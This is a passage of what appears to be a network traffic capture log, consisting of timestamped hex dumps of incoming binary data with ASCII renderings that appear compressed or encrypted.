8d 74 85 90 ad 5a ac 5b 02 f3 19 9a 05 fa d5 19 4d 47 a6 09 46 63 ef 5a 7d Data Ascii: \p?F].+(GEJ{2soP=z=NpIjq=D/d>JXb-0m}ROn9z?2}5R%O)c*`jw^U7nq\25.Q5zc8wcCV#H`QU+erCY8>fDO(dNTy;tstZ[MGFcZ}
2022-01-13 19:22:18 UTC	171	IN	Data Raw: 17 c4 6a 4c b8 84 93 b7 35 33 3f e2 93 fa 4c ad 67 e3 52 cc e4 a7 9c 02 aa 29 4f ec e1 13 c6 cf 7e a5 84 42 25 03 06 a6 0b 6f d9 1d 7b d4 ba c8 ec b9 06 a8 64 8e 2d 8d eb 31 7f 1e 0b 3e f8 e0 a5 ce 3a 9f c7 61 d6 27 3a fd e3 cd b3 b7 55 ab b5 80 77 21 fd 77 f7 83 ae 55 7e 8f cc fb c4 33 47 5d f4 84 9c ec 6f 20 b3 f4 a2 c3 03 07 cd ce 8a ce ff 38 26 b0 36 05 3d d9 72 50 e0 db a7 85 c6 de 37 19 6a 91 e3 1b 9b 90 cf d0 04 bd 5d 70 a9 b7 b7 b7 b2 db d1 1b f1 aa 05 31 85 5f 6c 2d 9a 18 e4 37 bc c0 dc 3a 8b a1 3f b3 bc 9e a9 43 a4 a6 12 55 09 de 2a 1d ea b4 70 d1 96 c3 44 5c 63 7a 39 c3 95 48 d3 71 27 ed 24 b2 8f ec bb 45 59 62 5f 99 fc 4a d6 9d 91 7d 7d 3d b6 40 36 04 b3 57 80 2d 80 59 71 0a 13 6b f4 27 9e 1d 09 36 0c 42 51 25 ed 4d 75 25 e6 2b 31 83 6b 85 79 Data Ascii: jL53?LgR)O~B%o{d-1>:a':Uw!wU~3G]o 8&6=rP7j]p1_l-7:?CU*pD\cz9Hq'$EYb_J}}=@6W-Yqk'6BQ%Mu%+1ky
2022-01-13 19:22:18 UTC	175	IN	Data Raw: a2 1b eb 33 9e 27 7a 87 67 d8 61 78 b8 34 0d d9 01 9f ed f2 a8 1e 62 90 61 fd eb 04 9d 4a 64 83 c1 52 d1 10 d5 88 ec 7c 5f 78 b0 28 00 e0 79 01 78 6d fe 52 cb 7f c8 d5 05 f3 55 b0 c4 aa 25 eb 25 24 5f fd 86 99 4e bb 56 ef 31 df 20 07 b0 f2 f6 22 76 a3 83 00 1c b5 ca 3e 8a 2b 8a 49 42 5f ee 82 2e c8 13 a6 16 54 f5 48 f6 db 1c bc 21 83 d0 e7 37 28 6e 08 9e d9 bd 3b b3 b5 b9 22 8d fd 03 f6 fd 5d 7f ce e2 9a a6 74 18 83 73 ac 2b 88 49 20 df 7f d1 ad 4c 29 91 fb dc 2f 33 4e 7d fa e8 50 db 19 c9 e4 09 7f 2b 43 0c b7 a4 1e 7f a0 6f fd 47 87 65 f1 29 91 fe 8b 79 b7 1a b7 57 84 4d 58 e6 fb 39 d5 33 5c 43 0f df 16 4d 80 1c ec dd cb 80 ec b9 4e ca 70 54 98 c6 19 6f f1 28 16 44 4d 12 13 88 8b 34 f8 4a cd 64 14 84 5f 14 89 39 dc 8a 50 d0 79 e6 d7 16 8d 0e 2d 90 6b 1a Data Ascii: 3'zgax4baJdR\|_x(yxmRU%%$_NV1 "v>+IB_.TH!7(n;"]ts+I L)/3N}P+CoGe)yWMX93\CMNpTo(DM4Jd_9Py-k
2022-01-13 19:22:18 UTC	179	IN	Data Raw: 2b 49 fd 59 08 b8 3b f8 a9 bb 56 97 1e 17 31 8a 24 59 cd 14 31 f3 d4 80 19 f7 ab 17 ce 89 35 60 07 8a 93 e4 8e 68 d0 38 08 c5 37 1b 14 35 55 da 48 b1 b0 ad c0 95 dc ed fb b9 31 22 c5 e6 35 8e 9c 69 db 66 42 87 b8 4a 53 95 96 f5 c4 a5 8b bd 78 8b 05 b7 34 9a da 23 94 31 33 f2 8c 2c 19 00 2f fe 09 1b 36 55 99 f8 57 d2 95 8c b2 b7 df 03 fe ac 98 b9 28 34 46 7e aa be 17 db 18 ba a1 40 0a 76 d5 e5 4b 18 2a 90 01 ca 84 40 3c 25 9d 0c c8 6c a5 28 e3 29 cc 46 03 e0 3d 55 7a b3 76 92 06 06 39 90 59 fd 68 aa a9 aa ce 49 cc 81 bb 3e 2d 5d 0a 51 5c e9 31 85 7a 99 a3 ba ed 25 0b a7 47 a1 dc 18 26 89 a5 4a 95 14 dd be fc b4 a2 7d cf 07 c5 74 1a 69 e1 96 64 68 5e 2d fb ad 55 85 12 4f b5 a3 1d 65 79 b2 2e 7f cd 8f 2a 6c e9 5e 9c 9b 0e a0 0f cb 59 9f bf 60 07 58 df f4 6e Data Ascii: +IY;V1$Y15`h875UH1"5ifBJSx4#13,/6UW(4F~@vK@<%l()F=Uzv9YhI>-]Q\1z%G&J}tidh^-UOey.l^Y`Xn
2022-01-13 19:22:18 UTC	183	IN	Data Raw: a3 0c fb 1a 88 b9 c0 57 e6 e6 a4 90 6d e0 28 a1 6c 29 79 b5 9f 75 1a d0 4e 22 df 0d 82 3b 18 6e 76 b9 bb b5 de 09 2f 5a 9f 6b e2 1e f6 1c d6 ab 9b 47 ab ae f5 b9 d6 45 bf de c9 f7 32 38 ac 3d e8 5f 0c 70 23 5a d3 c3 52 d6 14 9e e6 40 b2 5f 7f 7a 6c 69 3b 4f a3 fe 61 66 bb 2d 5e 23 86 e9 7e b5 bd 59 d3 71 d5 42 c3 7a d8 5a 94 a6 a8 f0 50 ed e2 17 3d 04 c3 b7 07 3e 2f 9d d5 1c 9b a6 ed 4b f0 37 2a a8 9f d9 5d 76 55 14 6d 42 36 64 e9 23 5f 82 7f 7a a0 03 c5 11 55 2f 3a 58 81 8f 46 1a 14 1b 64 c5 2a c4 f2 6b 94 77 20 ea ad da 48 a6 b0 75 aa 73 47 b2 9a a2 9d 80 52 b3 0e 45 54 f1 23 07 bb 03 be 0e 29 69 a3 87 6f c0 e4 6f 96 1c 4e 9c 84 63 63 8f e3 3c c2 8d 82 eb 1e 63 03 27 b5 ca 6d 2a ad 79 cd 2c 15 df a0 f3 b4 07 ad c2 35 60 7b 9a 2a 36 ae 21 95 2a 62 49 35 Data Ascii: Wm(l)yuN";nv/ZkGE28=_p#ZR@_zli;Oaf-^#~YqBzZP=>/K7]vUmB6d#_zU/:XFdkw HusGRET#)iooNcc<c'my,5`{6!*bI5
2022-01-13 19:22:18 UTC	186	IN	Data Raw: 4b 7e a0 28 86 ea 34 07 0e 82 b6 41 71 87 29 7d d8 ab 30 f0 0d 88 22 aa 4c c8 f5 ad 28 1f 7e c2 83 0f c9 7e 4e cf df 45 94 b3 e8 0e a5 d6 34 be bd 78 30 6c da 1d 64 e9 69 ad 8b 95 7c 05 f0 0a 37 bc 2c 5d af b0 f4 a2 dc 1d 32 32 68 30 99 a3 d9 d2 c4 90 53 7c b4 05 c0 c6 d2 29 7e 89 eb 38 80 7e 4f 7a d7 1d 57 1d 1b e9 5e 94 3f 6e 80 9d 4c be d6 37 8f b4 ce ac 71 e0 ae 6f 3b 25 d0 31 2e ef f2 1c c7 48 a8 7c 8c 7b ed cf 25 68 af af 29 39 7c f0 6d 67 6a a2 4e 09 78 2f 7d 5b e6 16 94 bf 8d fa 13 0b fe 61 bc f5 03 35 70 56 30 bd 0a aa 70 4f 4b e9 e6 96 6d c2 88 bf f5 f6 17 7c 15 07 81 54 c6 9f b7 b3 17 34 b6 35 7b c1 d5 e6 0b 24 ae 83 ad e1 cc a3 77 42 34 86 c1 30 56 e0 05 50 9f d4 d7 b6 9f dc 99 7c b5 56 f4 ea 5f d2 e1 6e fa b8 41 59 19 5b d7 95 9e 3c f2 d0 3d Data Ascii: K~(4Aq)}0"L(~~NE4x0ldi\|7,]22h0S\|)~8~OzW^?nL7qo;%1.H\|{%h)9\|mgjNx/}[a5pV0pOKm\|T45{$wB40VP\|V_nAY[<=
2022-01-13 19:22:18 UTC	190	IN	Data Raw: a1 cb 87 04 c6 84 6b c8 4c ad 62 75 96 8e d6 a8 93 c1 37 10 e8 6d 35 54 36 46 ea a7 ed 56 b8 ff f1 a2 b7 f6 e6 a2 ee 47 af b8 fd 2f db b2 78 ed ea 14 72 3c 77 33 51 bc 90 c6 bd cd 23 13 b1 cb be cf 82 5e fb 83 8b a7 20 97 4c 71 b8 86 c2 f3 df 97 81 f2 14 61 66 9e dd d7 c8 e4 10 ae 0e 8c a3 e0 f8 a3 18 f3 eb 12 dd 78 11 a0 b8 55 25 50 80 53 89 11 0c 17 de 52 50 04 23 69 39 a6 4a 94 31 b2 4c fe 5f 9b f1 3c db 7f d7 1a f3 e9 7b c1 db c0 4a dd c3 ef 41 03 45 5f be 83 45 45 b0 df 79 3a 6d 2b 2e a1 08 4b d5 96 d1 4b d1 b4 e0 d7 d1 09 41 46 40 ff e2 da 4a b4 cb e1 07 ad ed 0a e7 48 62 5d 55 3d 83 0d b1 7d f8 3b e5 6a 9f 5a 0b 89 7f db 93 5a b5 b2 f0 a8 f2 a0 ef 6e 66 82 a9 5b cb e7 b7 24 09 52 fa 98 42 a4 80 e1 0d 87 4d 91 31 19 b6 07 40 8f 75 32 47 cf c8 ca 13 Data Ascii: kLbu7m5T6FVG/xr<w3Q#^ LqafxU%PSRP#i9J1L_<{JAE_EEy:m+.KKAF@JHb]U=};jZZnf[$RBM1@u2G
2022-01-13 19:22:18 UTC	195	IN	Data Raw: 59 9c ad 4f 1b cf 8e 8e 56 d9 b5 f6 b1 7e 56 d8 ec 8b 8b 40 4c a7 5c 93 ba c5 f2 a7 8c b9 79 18 54 37 29 7a 8e 26 8f db ad 9a a6 68 3d 60 49 1f d1 9a f8 9d 71 ab 03 03 ab 2b 2a 65 d5 98 b5 76 7e 7f 63 4d 8e c8 32 ac 88 bb 7d 36 c2 57 44 90 98 16 70 c8 23 b9 ce f9 46 dd 2b 27 28 cd a2 c8 69 10 01 40 a2 07 88 59 e5 09 d6 49 a3 91 12 1d 38 2d 83 6e db 3b 5f 68 6d b9 67 7d 84 f1 09 a3 51 1f a5 1d 33 e3 3c 18 3e b9 1b 51 37 7c b4 92 33 a9 ec 6f 6f b3 19 83 00 30 e6 6b eb 66 c6 82 28 69 e0 f4 04 f6 39 c2 f6 e9 a7 ba 0a 64 13 cb f5 8e 05 f7 db b0 dc 77 cd bd ff 13 58 4a 63 68 9f 5a d5 21 24 0e a4 34 12 d3 99 a1 b6 c5 10 47 45 51 e6 66 04 d6 01 ef d2 12 a4 9a 53 c2 ab 4f d5 9c db 70 f8 8e e7 73 c6 a0 33 a0 73 38 67 2b 90 70 94 12 ff be 43 27 c7 31 46 b1 41 60 9d Data Ascii: YOV~V@L\yT7)z&h=`Iq+*ev~cM2}6WDp#F+'(i@YI8-n;_hmg}Q3<>Q7\|3oo0kf(i9dwXJchZ!$4GEQfSOps3s8g+pC'1FA`
2022-01-13 19:22:18 UTC	199	IN	Data Raw: 14 d7 45 35 e8 f9 df e0 d0 f6 5e 13 af 2d 92 7d 84 6a c5 23 fd 7f 63 57 e8 04 07 1c fe 89 2d 05 0d 4e 83 83 ea c0 86 8c 7f 76 c1 c1 30 8d 21 a5 53 0a d6 ca 34 94 09 6b fe 79 c8 f6 af f8 e3 04 6c 92 40 bb 9f c6 3d b8 35 13 7f ad d6 a4 63 95 67 de 4b a8 de 8a 31 17 2f a9 28 01 ff 8b 7a 73 ae e6 6b 2f 00 fd 27 75 64 40 7b 04 ca 7a a6 5e 0e f3 45 97 b3 ab 26 ed c9 8c 1e 34 1e 6e a5 36 bf 16 9d 47 14 ac 6e 4e fc 06 7b 2d 33 6a a3 19 77 35 0a 41 41 98 07 d3 9e 65 84 df f2 58 81 f0 74 a8 d1 e1 bd 23 3e 98 50 83 cb a5 af ba 26 49 42 a7 50 a9 51 c6 c4 c3 d7 af 78 53 70 12 1c 2e a0 42 4b df 4b 1d ff 62 1b db fd 36 3c dd 75 a7 48 c9 bb 7b 71 f7 89 2a 92 ea 77 a7 3a 18 fd 0a 14 bd 50 a4 67 4b f1 7d ce 20 00 36 57 26 20 ec 51 bc 3b cd bf 48 fe 75 b2 31 bf da b1 8c 1a Data Ascii: E5^-}j#cW-Nv0!S4kyl@=5cgK1/(zsk/'ud@{z^E&4n6GnN{-3jw5AAeXt#>P&IBPQxSp.BKKb6<uH{q*w:PgK} 6W& Q;Hu1
2022-01-13 19:22:18 UTC	203	IN	Data Raw: 0f b7 bb 8a 72 93 04 9e 2a 29 96 30 d8 ca 49 87 e1 d0 52 40 88 31 b8 15 f6 74 b8 3a 2e 42 1e 5d 06 cb 7e 06 b7 17 94 e1 79 48 c2 eb ec 8f c5 63 1f 10 64 3d 00 3b 77 0f 86 97 8b ee b5 aa e3 61 19 0e 0e f4 3e 5f 8f a8 91 37 c7 1e 3c bd 94 6f 2b 55 05 bc 57 b1 86 06 b4 49 8f 36 5b 74 0c 12 08 3b d1 78 ac 1e 0f 41 80 91 8e 11 df df 10 4c 89 26 c0 e3 85 a6 0e 5e f1 0d 1a 9f 70 79 7e 3d 8c e5 93 87 ad 8e 98 c1 63 8f bf da bc a4 45 bc 02 9b de 88 82 99 50 3f 3c 71 a3 d2 c4 e7 74 c8 07 45 2c 48 72 d7 90 62 2b 4f 48 7a a7 ea 51 60 47 21 40 6c 27 af ba be fe 4b 07 ca c5 f9 ee 4e b0 fa 69 6f 24 f7 a9 41 55 96 a8 5a c2 b5 26 bd 1f 75 12 40 41 a9 ef c2 e0 ee 7f 49 03 b8 8c db a2 9f 57 ba 99 97 9a 18 67 61 52 5d 42 42 57 fa 2b 40 b5 59 45 a6 d6 11 5d 53 f6 f4 7d c8 bb Data Ascii: r*)0IR@1t:.B]~yHcd=;wa>_7<o+UWI6[t;xAL&^py~=cEP?<qtE,Hrb+OHzQ`G!@l'KNio$AUZ&u@AIWgaR]BBW+@YE]S}
2022-01-13 19:22:18 UTC	207	IN	Data Raw: 3f 98 6b c0 ed c1 a2 31 2d 2d 6b f5 e9 51 c7 0f eb c5 98 11 42 15 78 43 26 c3 f7 e4 92 88 6a d7 f5 21 35 ff 89 c5 d2 11 20 3a 3a a8 b8 5c 74 5c 6d e5 45 13 e4 ad 46 da 68 e9 a3 be d3 48 06 53 7f 64 02 bc 18 56 b3 7a b6 e7 fd 31 93 33 e8 f6 42 b4 e7 35 ee 92 ad 54 2a 97 0b 80 50 da a0 4d 3a 01 0b 59 08 a4 5c 90 8d 75 3a 3d 9a 37 e4 41 d4 ae f1 0e b1 dd de a2 38 d9 62 8f 22 b7 5b 05 c7 fb c7 80 4c ed 40 ac 4c 84 0b 2c dd 73 38 48 37 4b a0 00 47 3a 9a 02 d2 d8 f6 dc cc 0c 29 26 36 8a 91 ed d0 7b 4c 01 cd 08 28 41 fb 11 4e 91 89 d7 1b 9d ae 0a ee 50 e8 58 19 b5 7d 97 5a 44 c0 af 7f f6 d3 0a 99 76 46 5f a2 f9 06 8a 65 ee 50 d1 f7 1f 0a 4f 1d 7a df 12 26 5c 5e 4b 5d 10 8b cd d2 68 2f ed 2e 0b 4f a0 82 5d 7b 60 9c 97 6f 64 e9 48 54 6d 91 5a f5 0c ae c2 42 ad 42 Data Ascii: ?k1--kQBxC&j!5 ::\t\mEFhHSdVz13B5T*PM:Y\u:=7A8b"[L@L,s8H7KG:)&6{L(ANPX}ZDvF_ePOz&\^K]h/.O]{`odHTmZBB
2022-01-13 19:22:18 UTC	211	IN	Data Raw: ff 80 9c 58 0e a0 39 ca 96 17 4b 7e d3 aa 43 88 2c 35 4e 37 9a 77 d6 1c 62 d2 88 fe aa 19 ae 64 1d 25 fb de 66 48 bb 44 41 c0 b8 1d 05 c7 bd 07 3f 47 c4 26 d0 65 5b 07 c5 f8 7d 7c b6 32 bf 20 fe 09 77 45 42 55 ea 25 65 f0 a4 85 67 8b de 7a 43 d9 1f 9e b0 59 27 72 7f 2d 74 0e 8f 65 10 89 e8 d9 6e 0b 7b 85 3c a6 9b 97 cf be 68 00 da 7b 59 db ef c0 32 12 79 80 8d c9 b9 6f 62 aa fd 61 af 6a 9c 51 bc e6 70 c2 5b 22 f0 7a 26 56 b9 03 9a 85 a5 e8 64 ed 8b 35 f5 44 22 c7 74 8a 4b 17 bb 8c 72 98 45 54 59 77 7a 96 95 1b 2e 5d f3 1e df 9b a7 00 54 e1 dd b4 e8 d5 6a 9c 7a 84 c6 93 7d 52 ee 53 f3 04 e5 b8 ea e7 86 ad 41 10 94 2f 28 88 f3 27 e0 fa 13 af 78 87 a8 e1 70 e9 b4 ca 01 52 c4 f5 be 90 7a d1 32 a2 c4 42 98 87 57 f8 51 7b 43 ba 27 e5 77 cf 16 e6 b5 c3 e2 71 03 Data Ascii: X9K~C,5N7wbd%fHDA?G&e[}\|2 wEBU%egzCY'r-ten{<h{Y2yobajQp["z&Vd5D"tKrETYwz.]Tjz}RSA/('xpRz2BWQ{C'wq
2022-01-13 19:22:18 UTC	215	IN	Data Raw: 19 94 8b d9 c9 cc 30 db b6 24 31 23 2c 07 8f be 69 27 29 2a 78 68 9a 33 2c 52 d3 59 fa 8f dd 17 fd 87 ec 06 5c 48 24 24 c6 da 15 4d 98 ca 09 61 fc c7 b4 2d b0 5e 9a 5f 8f b9 64 7d 66 8b 8e cd 9b b9 a4 62 e8 39 43 9f fc 23 d9 a7 42 67 58 83 df 2f e9 68 3b e8 37 6b 82 27 49 ea c1 1a 05 c4 31 76 c2 ec 21 0c 69 1f bc af 5b eb 67 96 a1 a0 db 67 b5 52 81 b2 5f e0 f9 aa b7 7b 2c c3 5b 41 be a2 bf 7e ba af 6c dd de 57 4b e8 5d 80 87 5d ce 5b 50 76 f0 77 43 90 45 01 71 ed 47 e2 37 5c b6 56 11 9a 4a d9 0e 50 27 78 bf a4 99 57 4c bf 70 a8 4b a3 6c 47 e9 6f 36 66 6f 85 a9 e1 b6 72 17 e3 1c b4 d3 b7 95 cf 38 82 62 38 3e cf 6f 06 e4 8c df cd be 58 3f a1 8e fd 9a ac c9 1e 92 66 cc 5f f1 82 f4 90 f3 0a 51 b9 43 74 e4 62 98 dd 78 50 78 98 e5 a3 f1 f9 7d 92 20 95 15 c0 5d Data Ascii: 0$1#,i')*xh3,RY\H$$Ma-^_d}fb9C#BgX/h;7k'I1v!i[ggR_{,[A~lWK]][PvwCEqG7\VJP'xWLpKlGo6for8b8>oX?f_QCtbxPx} ]
2022-01-13 19:22:18 UTC	218	IN	Data Raw: e2 c1 78 5e 30 a3 a2 09 ab be 8a 36 f5 0c d5 74 3c 9d 40 5a 09 45 bb 5a ab f0 28 f0 ff e3 35 2e 27 b8 f1 81 28 b2 2e b8 bc c1 34 55 73 a7 e6 7e f0 68 01 b2 74 22 60 28 0c 6f ee a5 72 42 12 24 8a 7a 76 60 ba 33 db b9 a6 45 07 4d 8a 10 9e eb 30 b9 44 86 6a 3b 88 c2 b2 af c9 f3 db 01 09 b9 90 86 ef bb bc e6 c2 f8 48 e4 e4 ec a7 41 4a 92 98 f9 fb 9c 33 4d a6 0a 7a a0 84 27 18 91 4b 42 4a 65 74 fd 4d b5 e7 6d 05 47 18 5d 71 79 ff 07 44 aa 6b 3f 68 d4 c7 03 5c be 2e 69 2a bb 75 01 ad f2 7c 4a ef 51 04 03 7a c1 47 53 43 81 82 a6 1f 5b 69 0e be 86 8f 79 21 e5 42 69 15 56 5a 68 35 d4 31 3d bb 32 b3 84 42 26 b6 d0 27 c3 e0 8c 7b 07 e5 f6 5a 68 4b 2a 8f d3 a2 e2 1e 72 89 1f 2c 29 b8 fa 8a b9 82 8a 56 47 23 d8 72 15 75 08 b0 a7 c1 4b 86 fc 1f 17 42 92 a5 3b d6 f0 3b Data Ascii: x^06t<@ZEZ(5.'(.4Us~ht"`(orB$zv`3EM0Dj;HAJ3Mz'KBJetMmG]qyDk?h\.iu\|JQzGSC[iy!BiVZh51=2B&'{ZhKr,)VG#ruKB;;
2022-01-13 19:22:18 UTC	222	IN	Data Raw: 90 1d 5d a0 3c 30 7b 1c 08 b5 1e 28 e1 e0 a6 68 2e 96 67 c6 7b 8c b7 bd 55 15 88 df ed e7 6e 7b e0 85 07 d5 f2 34 88 db 57 d2 63 5d 69 5e 3f 9b e5 32 0a bb b3 61 2f d9 51 ce dc c9 22 e4 a0 12 54 22 a3 8f 4b 73 2b 31 6c 5e b7 c7 ae db 73 b3 98 d9 34 b2 16 e0 15 e7 57 e5 82 08 68 4f b7 0a ed c1 36 5d 9d 04 39 51 53 a4 da bf 7e 1e 80 4e e0 e3 e6 4c ff 50 de 89 e1 4b e1 f7 9b a5 15 1b b1 da ee a1 72 1a dc 21 74 a2 2f ac 40 d5 45 2c f7 34 96 1b b6 83 a7 54 86 0f 79 94 cd f6 02 ac f6 36 96 48 d5 8d 3d cf 71 f5 8f f4 12 48 7f 7b b7 d6 69 49 a7 fb fb de 02 30 61 ed 76 4e 67 3a 1a f2 28 b7 84 53 f5 32 82 b5 f1 52 e0 e4 2a 56 18 92 92 5c 0c 1b 2c a2 09 29 80 70 2e b4 a9 13 c3 45 af 70 82 04 f3 92 1a f1 0f cf d9 c7 45 16 2a 26 8b 40 9a 23 bb f3 69 ed e0 62 df 44 ae Data Ascii: ]<0{(h.g{Un{4Wc]i^?2a/Q"T"Ks+1l^s4WhO6]9QS~NLPKr!t/@E,4Ty6H=qH{iI0avNg:(S2RV\,)p.EpE&@#ibD
2022-01-13 19:22:18 UTC	227	IN	Data Raw: 18 d5 21 5a ad 8d 56 8a d1 ea fc 09 87 0f 99 eb 98 a3 d4 82 6e 6b 8e 63 2f c4 30 88 39 17 70 70 81 77 25 5e 8b 5d 24 b2 91 9c b9 7f 47 fa a2 26 ab 42 71 83 e6 14 da 64 0e 7e 86 d1 eb 41 67 77 23 81 0d 06 03 46 3b 88 ec 37 36 36 fd 2d 34 50 67 6e e3 ef ae 5e 23 74 e1 a7 96 1a f7 cb 39 c0 91 7f 34 d5 fa 1f 2e 30 6e 0e aa bb a7 f2 0e 92 b8 de 33 35 17 64 98 1d e9 6e 73 65 81 ac be 96 59 9b 26 92 78 f7 9d 82 9b 6e 84 41 10 6b c8 f1 85 34 03 dc b4 72 c5 b3 65 21 14 7d 2b d6 52 11 be 41 58 d3 c0 0c b4 0b 9d 8d b9 00 c6 1a 73 8c 2d 17 d3 c7 c7 9a ed f7 27 f7 43 da 90 e6 98 49 25 da 7e af b6 c0 db cb 0a f3 03 27 c3 b9 57 3a 4b 97 51 63 11 fa 04 aa f5 f3 14 ed f6 86 59 37 3f e9 37 1a e2 a0 07 46 44 5b 63 bc 1a 69 9c 8e d3 d2 2d 49 02 89 3d 20 44 9f 07 90 bf ae 03 Data Ascii: !ZVnkc/09ppw%^]$G&Bqd~Agw#F;766-4Pgn^#t94.0n35dnseY&xnAk4re!}+RAXs-'CI%~'W:KQcY7?7FD[ci-I= D
2022-01-13 19:22:18 UTC	231	IN	Data Raw: 8a d0 e9 ba b0 1d 7d a0 b5 63 a2 7c 4a f5 f1 f6 3d 12 e5 fc 44 0b 9a bb 8c 03 66 19 43 fa dc 7d f6 21 1d 20 e5 86 18 32 13 ec da 17 11 06 a3 b7 4b 3d 8a c4 8a 0c d6 61 6d 64 e7 97 17 1f 63 39 b7 d6 7e a0 b4 42 83 8d 24 fe 62 56 6b fb ac c7 a9 f9 50 bb 20 05 4c 51 78 d2 04 e8 e2 c5 26 aa ff 99 04 72 da bf d6 70 de 3a 8f f6 2c 8a 29 a7 12 09 a0 c5 b3 0c c4 37 54 46 2b a3 1f 5e 25 c9 20 85 3d 19 6d e9 d1 f0 c2 a1 03 d6 a0 05 94 3f c3 47 8d e9 42 8d 47 1e fd 4f d7 db d9 53 f4 73 ab d7 dd bb 8d 8b 19 6f 6f 71 29 ae d8 fb 7c 95 3c 00 47 49 c1 74 d3 7b 52 67 b8 2f 50 c4 46 f9 88 2c a7 06 73 50 af cd 4e 2e 90 3c 1e 15 79 29 1d 26 f4 35 07 74 de e0 5b 5d cb 97 e1 40 8e 6c be 08 25 52 c7 85 cd 46 2a 09 00 c6 d7 4d f2 1d e9 e8 b1 4a f7 7d 37 e2 57 87 0b f8 a9 d8 8d Data Ascii: }c\|J=DfC}! 2K=amdc9~B$bVkP LQx&rp:,)7TF+^% =m?GBGOSsooq)\|<GIt{Rg/PF,sPN.<y)&5t[]@l%RF*MJ}7W
2022-01-13 19:22:18 UTC	235	IN	Data Raw: a5 03 13 28 4f 2b 27 75 cd 87 8b 54 2c c8 94 2c 11 de 53 1d 8e 0d 48 52 af 06 df 6f 5d bd d1 2a bb 8c 5d a7 33 61 92 27 9a 80 21 30 a3 d7 67 0b 55 16 c1 11 12 74 dc db 3f c8 ad 94 32 06 4b a4 76 72 62 85 7a d8 30 bb 06 3b d9 f4 ff 22 2e 69 02 ae 17 a5 84 f5 a1 b2 c6 2d a3 c3 a0 83 34 1b ec f8 76 f2 11 70 c3 dd 97 5b 95 15 2d 3d 0d 61 88 d1 a5 30 6c d0 7f 28 11 45 e7 0c dc e3 1b 7c b8 53 68 71 65 a6 f1 bb b5 c1 3b 8a 67 83 17 f2 a3 1d a1 73 a4 dd d8 0e 23 8c f8 89 fc 4b e7 11 be 2b e2 40 b7 98 be ad 4c e4 51 f1 e9 8e 63 67 78 6d 6f b9 04 d8 73 ac 05 c8 57 63 bf 37 f7 03 2b 98 4e c2 84 4c bb 9a 0d 75 5c a9 16 b2 96 22 f0 ac 1a 0e 86 0d ef 53 11 1c de 66 11 7a 7a de a8 71 bf aa bd 4b 94 72 ea 8f 0a 3d f9 35 c3 23 f3 30 b4 43 f9 c9 7a 53 f6 c9 ab 6b 1e ed bd Data Ascii: (O+'uT,,SHRo]*]3a'!0gUt?2Kvrbz0;".i-4vp[-=a0l(E\|Shqe;gs#K+@LQcgxmosWc7+NLu\"SfzzqKr=5#0CzSk
2022-01-13 19:22:18 UTC	239	IN	Data Raw: 39 c4 38 1e 05 97 42 df b0 40 6c 73 31 a6 3c d8 d6 88 5c ed 60 fd 77 f1 d2 5d 8b 5d 65 e7 61 33 df 52 be e4 eb 41 67 69 76 46 18 4a 5d 72 33 d9 f1 0c 8e a9 0e c4 86 e8 b7 b7 66 3e 5f 43 79 1e 5c 38 f2 93 df 84 b3 00 3c d1 ff f8 cd 92 ff 26 63 de d1 e5 4b a0 fd 45 24 62 be db 00 67 03 02 e3 38 2a 54 79 de 9c 7e ae 5a a4 c2 5d 84 bc b0 88 3a bd 69 3d b1 1b 69 0a 79 88 b3 0f 49 3f 39 bb 8f 5c a1 ce 49 01 3c fc fb 06 6a e3 58 42 e3 b8 fd 93 84 a9 c0 0b 50 33 32 8f 51 cd 2d a1 6d dd 1a e8 2a 63 92 ac 65 77 a8 31 a7 43 6a 3f f7 99 15 a5 84 79 93 53 7c fe a2 7f 7f 4c f4 51 e9 43 b1 9c d8 fa 3f a2 79 19 33 9c ea d2 64 e1 40 03 51 bb 5c aa fc e4 0b c2 05 df e0 af 48 0f 9b 3d 4f 7c bf 4a 36 bb 6a 5a 51 6e e5 2d c4 08 73 23 d5 76 21 51 89 6a ff da 17 35 96 11 f6 40 Data Ascii: 98B@ls1<\`w]]ea3RAgivFJ]r3f>_Cy\8<&cKE$bg8Ty~Z]:i=iyI?9\I<jXBP32Q-mcew1Cj?yS\|LQC?y3d@Q\H=O\|J6jZQn-s#v!Qj5@
2022-01-13 19:22:18 UTC	243	IN	Data Raw: a0 34 cb cd 7c 09 0e 13 9d bc ed 07 11 b5 b8 40 07 36 08 64 8c 63 af b5 f9 98 00 63 1f 92 af 06 7d 2d e0 7c fa ab d0 e4 5e 2d 3f 62 b7 a0 65 84 75 6c d4 f0 84 32 db 39 03 e2 5f 2e 6e d0 c8 9f 13 04 00 44 95 cb b7 df 7d bd b0 50 00 8a 9c 0c be ce 3e f2 ae 5a 49 d6 ae 49 ba 9e 37 c1 69 1e cb 85 92 18 ce 77 0b 51 9e 3a 43 74 a7 0e fe 92 a4 1d 53 aa 0f af ba b1 3c 31 4f 7c 92 1a d8 7b 6c a1 8e 50 bb 96 fe d8 ef 81 28 c0 e1 67 80 96 03 4a 27 e1 35 42 1f 2e 04 41 d4 77 70 56 44 30 42 a8 b7 99 ad 76 eb 20 8e 80 8f f7 92 4a fb 2b 28 1c 6f 4f 8c 05 da e8 4c cf 09 af 42 97 76 d5 83 4e 53 78 b1 08 8e ce d3 82 37 97 61 25 0c a7 e5 17 6e b4 19 b5 32 88 87 94 00 08 dc 90 97 7b cb 68 55 87 dd 8e e7 85 28 60 e3 f2 6c fd 03 26 8f 61 7d bb d0 8b e4 f5 77 7d e7 21 3b de e1 Data Ascii: 4\|@6dcc}-\|^-?beul29_.nD}P>ZII7iwQ:CtS<1O\|{lP(gJ'5B.AwpVD0Bv J+(oOLBvNSx7a%n2{hU(`l&a}w}!;
2022-01-13 19:22:18 UTC	247	IN	Data Raw: a0 f9 5f 89 5b 82 cf 81 41 4b ce 03 d2 0a 46 30 e6 56 16 ab 6a 61 be 3e 09 c9 55 96 5c 01 0a 4c c8 11 dd e3 16 aa 20 9c 79 c6 ae db 65 f5 a6 e5 7b ca b7 4f 1f 1e 2a f7 73 d4 4d a0 a2 fc f6 ba 20 9c e1 e8 75 d9 d0 06 61 8c 8e 90 aa d2 31 66 4d a0 ca 16 64 74 90 97 c2 24 47 b4 1a 90 4e 25 de 62 a1 7d 20 9f 90 97 e2 6d 09 ca eb c1 5b 80 47 b4 36 ee cb 98 00 59 19 2e 7d cd 02 5d 1e 9b 9b 0e 27 0f 95 03 76 5c a7 68 de 62 2d 7a 1e 9b 7b c9 e5 d2 01 da 8e 92 6b e5 5f 8a 21 01 ae d9 88 a5 69 d0 34 db 15 16 99 ba 04 42 86 a2 9d 71 d8 74 58 18 bb b4 d7 f6 94 9d 51 a9 56 17 e4 50 e0 69 24 86 7a 47 65 f6 5e 09 2a f4 48 36 1d 19 